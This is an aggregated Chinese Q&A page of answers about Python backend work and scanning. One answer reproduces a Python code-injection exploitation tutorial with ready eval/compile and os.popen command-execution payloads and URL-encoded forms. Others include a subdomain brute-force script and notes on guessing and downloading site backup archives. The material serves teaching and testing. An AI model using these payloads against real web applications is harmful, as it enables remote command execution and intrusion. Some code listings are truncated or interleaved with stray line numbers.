導航:首頁 > 編程語言 > python後台掃描

python後台掃描

發布時間:2022-09-21 11:34:13

A. python 後台開發一般是做什麼

後台開發涉及的內容是比較多的,區別於前端。主要是做web開發、數據處理等,對編程能力要求較高。

Python的學習內容還是比較多的,我們將學習的過程劃分為4個階段,每個階段學習對應的內容,具體的學習順序如下:

Python學習順序:

①Python軟體開發基礎

互聯網行業目前還是最熱門的行業之一,學習IT技能之後足夠優秀是有機會進入騰訊、阿里、網易等互聯網大廠高薪就業的,發展前景非常好,普通人也可以學習。

想要系統學習,你可以考察對比一下開設有相關專業的熱門學校,好的學校擁有根據當下企業需求自主研發課程的能力,中博軟體學院、南京課工場、南京北大青鳥等開設python專業的學校都是不錯的,建議實地考察對比一下。

祝你學有所成,望採納。

B. 如何用python開發移動App後台需要掌握哪些技術

給一套我用過的解決方案,用來開發過web項目(網頁 + ios)和手游項目(ios + 安卓),都是一套後台對應多種前端平台:
web框架:Django
Django 是一套相對全(zhong)面(yong)的框架,基本你要的功能都有,文檔很細致,上手比較容易,開發效率比較高。自帶 auth、session、orm、admin 等功能,尤其是 admin,如果要求不是太高,用自帶的後台管理系統就能省下很多開發工作。
web server:nginx
相對 apache 較輕,簡潔。用來部署 django 也比較方便,可參考 Setting up Django and your web server with uWSGI and nginx
資料庫:mysql
這個不限定,看業務需求和開發者喜好。當然如果用了 django,自然最好選一個 orm 支持比較好的。
RESTful API:Tastypie
基於 Django 的 RESTful API。Django 本身作為一個 web 框架,返回的結果默認是渲染好的 html 文本。藉助 Tastypie,可以比較方便的製作 json 數據格式的介面,將前後端解耦合。這樣不管是網頁、iOS 還是 Android,都可以用同樣的介面。

再針對問題補充一下:

1、如果使用python語言,需要學習哪些知識?
python 語言本身,使用的框架,web 開發的通用知識,比如 HTTP 請求的處理流程、RESTful、OAuth 等。

2、選擇什麼樣的python框架開發,這個框架的優勢?
見上文。

3、如何部署伺服器?本地伺服器調試,以及公網伺服器部署?
Django 自帶本地調試服務,開發的時候用區域網地址調試即可。公網部署見上文。

4、如果使用python框架開發移動後台服務,在開發源碼內使用哪種框架?mvc還是其它的,比如我返回json數據,每次json對象最外層有一些相同的東西,該如何處理?
Tastypie 可以處理掉生成 json 數據時的很多體力活。

5、python的後台服務最大能支持多大的pv量會嚴重影響用戶體驗性能?
這個沒法給確切答案,具體情況會受機器硬體條件(CPU、內存、I/O)、網路帶寬、代碼質量、架構設計,甚至配置參數的影響。目前有較大型網站使用 python,並正常運作(參見 有哪些大型公司在使用 Python?有哪些知名項目是主要由 Python 寫成的? - Crossin 的回答),所以 python 本身不是問題。實踐時,做好壓力測試和上線後的性能監控,找出瓶頸不斷優化是王道。

6、如何兼顧 網頁前端以及移動端 開發的後台?
通過 API,後台無需知道是什麼平台在使用它。

7、有沒用相關的案例,即用python開發的移動後台?有沒有該問題的開源項目?
通常框架會自帶測試案例。真實案例開源的暫時不知道。如果哪天我把之前寫的開源了,再回來修改答案。

C. python一直在掃描文件索引,怎麼辦

這個索引的目的是為了更新目錄中的文件情況,便於平時快速定位,但有些目錄中可能有太多文件並且我們不會用著,所以這時需要將某些文件太多的目錄排除在索引之外,具體步驟如下:(IDE是pycharm)

1、選擇file/settings

2、選擇project structure,在右側會出現你項目中的目錄結構,選中某個目錄,然後點擊上方的excluded,該目錄則會被添加到最右側的列表中,只要出現在此列表中,則不會進行索引。

D. 求高手分析一段python的代碼 關於網站掃描根目錄下的一些壓縮包文件 我看不懂求分析

沒有仔細看這個代碼。這的確算得是黑客手段了。但是也有可能是人家網站自己的維護程序。

主要是根據網站上的一些備份習慣,先猜出網站的zip文件的文件名。然後再將這個zip文件下載下來。這樣就避免了一個網頁一個網頁的去下載。

但是如果網站里設置了zip文件不能下載。則這個下載方法是行不通的。

這里excavate_zip,從字面意思看應該是處理zip中的網頁。到底是下載呢,還是到根目錄去掃描。從許可權從安全管理看。

除非網站設置了統一的跨伺服器的維護許可權(應該有這個許可權),否則是沒有辦法掃描目錄的。所以從這個角度看。這個程序應該是網站自己的維護程序。

那麼下載文件呢,通常也是有嚴格許可權管理的。直接下這種ZIP真還沒有試驗過。網站通常用目錄有訪問許可權設置。除非是維護人員自己留下的後門,否則也不可能。

另外既然你拿出來問了,就應該不是黑客程序。

E. 在前台javascript點擊按鈕,怎麼在後台Python識別

可以向後台傳參數加一個參數,如:type,type=1為保存按鈕,type=2為提交按鈕。

F. python 腳本掃描url列表

給你一個url你是不是有對應的惡意rul庫來判斷呢?如果僅僅靠掃描判斷不靠譜,如果你有惡意rul庫就讀取一個慢慢匹配唄
import urllib;
#假設txt名字叫url.txt
src = urlopen('url.txt')
for i in src.readlines():
#假設你的惡意url庫為rullist列表
if i in rullist:
print i, '為惡意url'

G. python怎麼掃描excel數據按行

python操作office辦公軟體(excel).本文對涉及xls文件讀寫上不方便.如果你需要通過python讀寫xls文件,可

H. 如何使用python查找網站漏洞

如果你的Web應用中存在Python代碼注入漏洞的話,攻擊者就可以利用你的Web應用來向你後台伺服器的Python解析器發送惡意Python代碼了。這也就意味著,如果你可以在目標伺服器中執行Python代碼的話,你就可以通過調用伺服器的操作系統的指令來實施攻擊了。通過運行操作系統命令,你不僅可以對那些可以訪問到的文件進行讀寫操作,甚至還可以啟動一個遠程的互動式Shell(例如nc、Metasploit和Empire)。
為了復現這個漏洞,我在最近的一次外部滲透測試過程中曾嘗試去利用過這個漏洞。當時我想在網上查找一些關於這個漏洞具體應用方法的信息,但是並沒有找到太多有價值的內容。在同事Charlie Worrell(@decidedlygray)的幫助下,我們成功地通過Burp POC實現了一個非互動式的shell,這也是我們這篇文章所要描述的內容。
因為除了Python之外,還有很多其他的語言(例如Perl和Ruby)也有可能出現代碼注入問題,因此Python代碼注入屬於伺服器端代碼注入的一種。實際上,如果各位同學和我一樣是一名CWE的關注者,那麼下面這兩個CWE也許可以給你提供一些有價值的參考內容:
1. CWE-94:代碼生成控制不當(『代碼注入』)2. CWE-95:動態代碼評估指令處理不當(『Eval注入』)漏洞利用
假設你現在使用Burp或者其他工具發現了一個Python注入漏洞,而此時的漏洞利用Payload又如下所示:
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那麼你就可以使用下面這個Payload來在目標主機中實現操作系統指令注入了:
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))實際上,你甚至都不需要使用for循環,直接使用全局函數「__import__」就可以了。具體代碼如下所示:
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其實我們的Payload代碼還可以更加簡潔,既然我們已經將import和popen寫在了一個表達式裡面了,那麼在大多數情況下,你甚至都不需要使用compile了。具體代碼如下所示:
__import__('os').popen('COMMAND').read()
為了將這個Payload發送給目標Web應用,你需要對其中的某些字元進行URL編碼。為了節省大家的時間,我們在這里已經將上面所列出的Payload代碼編碼完成了,具體如下所示:
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下來,我們將會給大家介紹關於這個漏洞的細節內容,並跟大家分享一個包含這個漏洞的Web應用。在文章的結尾,我將會給大家演示一款工具,這款工具是我和我的同事Charlie共同編寫的,它可以明顯降低你在利用這個漏洞時所花的時間。簡而言之,這款工具就像sqlmap一樣,可以讓你快速找到SQL注入漏洞,不過這款工具仍在起步階段,感興趣的同學可以在項目的GitHub主頁[傳送門]中與我交流一下。
搭建一個包含漏洞的伺服器
為了更好地給各位同學進行演示,我專門創建了一個包含漏洞的Web應用。如果你想要自己動手嘗試利用這個漏洞的話,你可以點擊這里獲取這份Web應用。接下來,我們要配置的就是Web應用的運行環境,即通過pip或者easy_install來安裝web.py。它可以作為一台獨立的伺服器運行,或者你也可以將它載入至包含mod_wsgi模塊的Apache伺服器中。相關操作指令如下所示:
git clone https://github.com/sethsec/PyCodeInjection.gitcd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
當你在網上搜索關於python的eval()函數時,幾乎沒有文章會提醒你這個函數是非常不安全的,而eval()函數就是導致這個Python代碼注入漏洞的罪魁禍首。如果你遇到了下面這兩種情況,說明你的Web應用中存在這個漏洞:
1. Web應用接受用戶輸入(例如GET/POST參數,cookie值);2. Web應用使用了一種不安全的方法來將用戶的輸入數據傳遞給eval()函數(沒有經過安全審查,或者缺少安全保護機制);下圖所示的是一份包含漏洞的示例代碼:
\
大家可以看到,eval()函數是上述代碼中唯一一個存在問題的地方。除此之外,如果開發人員直接對用戶的輸入數據(序列化數據)進行拆封的話,那麼Web應用中也將會出現這個漏洞。
不過需要注意的是,除了eval()函數之外,Python的exec()函數也有可能讓你的Web應用中出現這個漏洞。而且據我所示,現在很多開發人員都會在Web應用中不規范地使用exec()函數,所以這個問題肯定會存在。
自動掃描漏洞
為了告訴大家如何利用漏洞來實施攻擊,我通常會使用掃描器來發現一些我此前沒有見過的東西。找到之後,我再想辦法將毫無新意的PoC開發成一個有意義的exploit。不過我想提醒大家的是,不要過度依賴掃描工具,因為還很多東西是掃描工具也找不到的。
這個漏洞也不例外,如果你在某個Web應用中發現了這個漏洞,那麼你肯定使用了某款自動化的掃描工具,比如說Burp Suite Pro。目前為止,如果不使用類似Burp Suite Pro這樣的專業掃描工具,你幾乎是無法發現這個漏洞的。
當你搭建好測試環境之後,啟動並運行包含漏洞的示例應用。接下來,使用Burp Suite Pro來對其進行掃描。掃描結果如下圖所示:
\
下圖顯示的是Burp在掃描這個漏洞時所使用的Payload:
\
我們可以看到,Burp之所以要將這個Web應用標記為「Vulnerable」(包含漏洞的),是因為當它將這個Payload發送給目標Web應用之後,伺服器的Python解析器休眠了20秒,響應信息在20秒之後才成功返回。但我要提醒大家的是,這種基於時間的漏洞檢查機制通常會存在一定的誤報。
將PoC升級成漏洞利用代碼
使用time.sleep()來驗證漏洞的存在的確是一種很好的方法。接下來,為了執行操作系統指令並接收相應的輸出數據,我們可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()這幾個函數。當然了,應該還有很多其他的函數同樣可以實現我們的目標。
因為eval()函數只能對表達式進行處理,因此Burp Suite Pro的Payload在這里使用了compile()函數,這是一種非常聰明的做法。當然了,我們也可以使用其他的方法來實現,例如使用全局函數「__import__」。關於這部分內容請查閱參考資料:[參考資料1][參考資料2]
下面這個Payload應該可以適用於絕大多數的場景:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要執行一個或多個語句,那麼你就需要使用eval()或者compile()函數了。實現代碼如下所示:
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的測試過程中,有時全局函數「__import__」會不起作用。在這種情況下,我們就要使用for循環了。相關代碼如下所示:
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的參數是一個GET參數,那麼你就可以直接在瀏覽器中利用這個漏洞了:
\
請注意:雖然瀏覽器會幫你完成絕大部分的URL編碼工作,但是你仍然需要對分號(%3b)和空格(%20)進行手動編碼。除此之外,你也可以直接使用我們所開發的工具。
如果是POST參數的話,我建議各位直接使用類似Burp Repeater這樣的工具。如下圖所示,我在subprocess.check_output()函數中一次性調用了多個系統命令,即pwd、ls、-al、whoami和ping。
\
\
漏洞利用工具-PyCodeInjectionShell
你可以直接訪問PyCodeInjectionShell的GitHub主頁獲取工具源碼,我們也提供了相應的工具使用指南。在你使用這款工具的過程中會感覺到,它跟sqlmap一樣使用起來非常的簡單。除此之外,它的使用方法跟sqlmap基本相同。

I. 如何使用多線程python掃描二級子域名

日站沒什麼好辦法了往往也會想到其二級域名,於是寫了一個比較簡陋的掃描二級域名的程序
速度一般般,不過如果線程開多了還是可以的
源程序(subdomain.py):

#! /usr/bin/env python
#coding=utf-8
import threading , Queue, optparse, os
import pycurl, StringIO, msvcrt, socket

queue = Queue.Queue()

class ScanThread(threading.Thread):

def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue

def run(self):
while 1:
p = self.queue.get()
if p is None:
break
try:
sub_domain = p+'.'+domain
crl = pycurl.Curl()
crl.fa = StringIO.StringIO()
crl.setopt(pycurl.URL,sub_domain)
crl.setopt(pycurl.VERBOSE,0)
crl.setopt(pycurl.FOLLOWLOCATION,1)
crl.setopt(pycurl.MAXREDIRS,5)
crl.setopt(pycurl.CONNECTTIMEOUT, 60)
crl.setopt(pycurl.TIMEOUT, 300)
crl.setopt(crl.WRITEFUNCTION,crl.fa.write)
try:
crl.perform()
ip=socket.gethostbyname(sub_domain)
print sub_domain, ip
content = sub_domain+' '+ip+'\n'
self.writefile(wfile, 'a+', content)
except:
pass
except:
print "error"
self.writefile('F:/py/Domain/log.txt', 'a+', p+'\n')

queue.task_done()

def writefile(self, path, type, content):
f = open(path, type)
f.write(content)
f.close

class ThreadGetKey(threading.Thread):
def run(self):
while 1:
try:
chr = msvcrt.getch()
if chr == 'q':
print "stopped by your action ( q )"
os._exit(1)
else:
continue
except:
os._exit(1)

# now starting...

def main():
parser = optparse.OptionParser('Usages: %prog -d <domain> -r <read> -w <write> -t <thread(s)>')
parser.add_option('-d',dest='domain',type='string',help='the url to query')
parser.add_option('-r',dest='read',type='string',help='the dic file to read default=F:/py/Domain/dic.txt', default='F:/py/Domain/dic.txt')
parser.add_option('-w',dest='write',type='string',help='save the reasults to the catalogue \
default=F:/py/Domain/results.txt', default='F:/py/Domain/results.txt')
parser.add_option('-t',dest='threads',type='int',help='set the thread(s) default=10',default=10)
(options,args) = parser.parse_args()
if options.domain == None:
使用方法:
python subdomain.py -d .com -r dic.txt -w results.txt -t 50
主要影響速度的是這一塊代碼:

try:
crl.perform()
ip=socket.gethostbyname(sub_domain)
print sub_domain, ip
content = sub_domain+' '+ip+'\n'
self.writefile(wfile, 'a+', content)
except:
pass

主要是一開始理解錯了,以為二級域名不存在和某個網頁不存在一樣會返回404代碼,於是想到用返回碼來判斷。
結果後來程序一直出錯,才發現當二級域名不存在的時候返回的是「未找到伺服器」,根本不存在返回碼,於是只能使用一個try來調試錯誤,主要速度也就被這里影響了。當然線程開多了也是可以看到刷屏效果的~~

閱讀全文

與python後台掃描相關的資料

熱點內容
php備案號 瀏覽:986
php視頻水印 瀏覽:163
怎麼追程序員的女生 瀏覽:485
空調外壓縮機電容 瀏覽:77
怎麼將安卓變成win 瀏覽:457
手機文件管理在哪兒新建文件夾 瀏覽:723
加密ts視頻怎麼合並 瀏覽:775
php如何寫app介面 瀏覽:803
宇宙的琴弦pdf 瀏覽:395
js項目提成計算器程序員 瀏覽:944
pdf光子 瀏覽:834
自拍軟體文件夾名稱大全 瀏覽:328
程序員留學移民 瀏覽:52
梁中間部位箍筋加密區 瀏覽:119
頻譜分析pdf 瀏覽:752
樂2怎麼升級安卓70 瀏覽:174
java中獲取日期 瀏覽:508
單片機74hc245 瀏覽:274
美國歷史上的總統pdf 瀏覽:753
程序員脫單實驗室靠不靠譜 瀏覽:460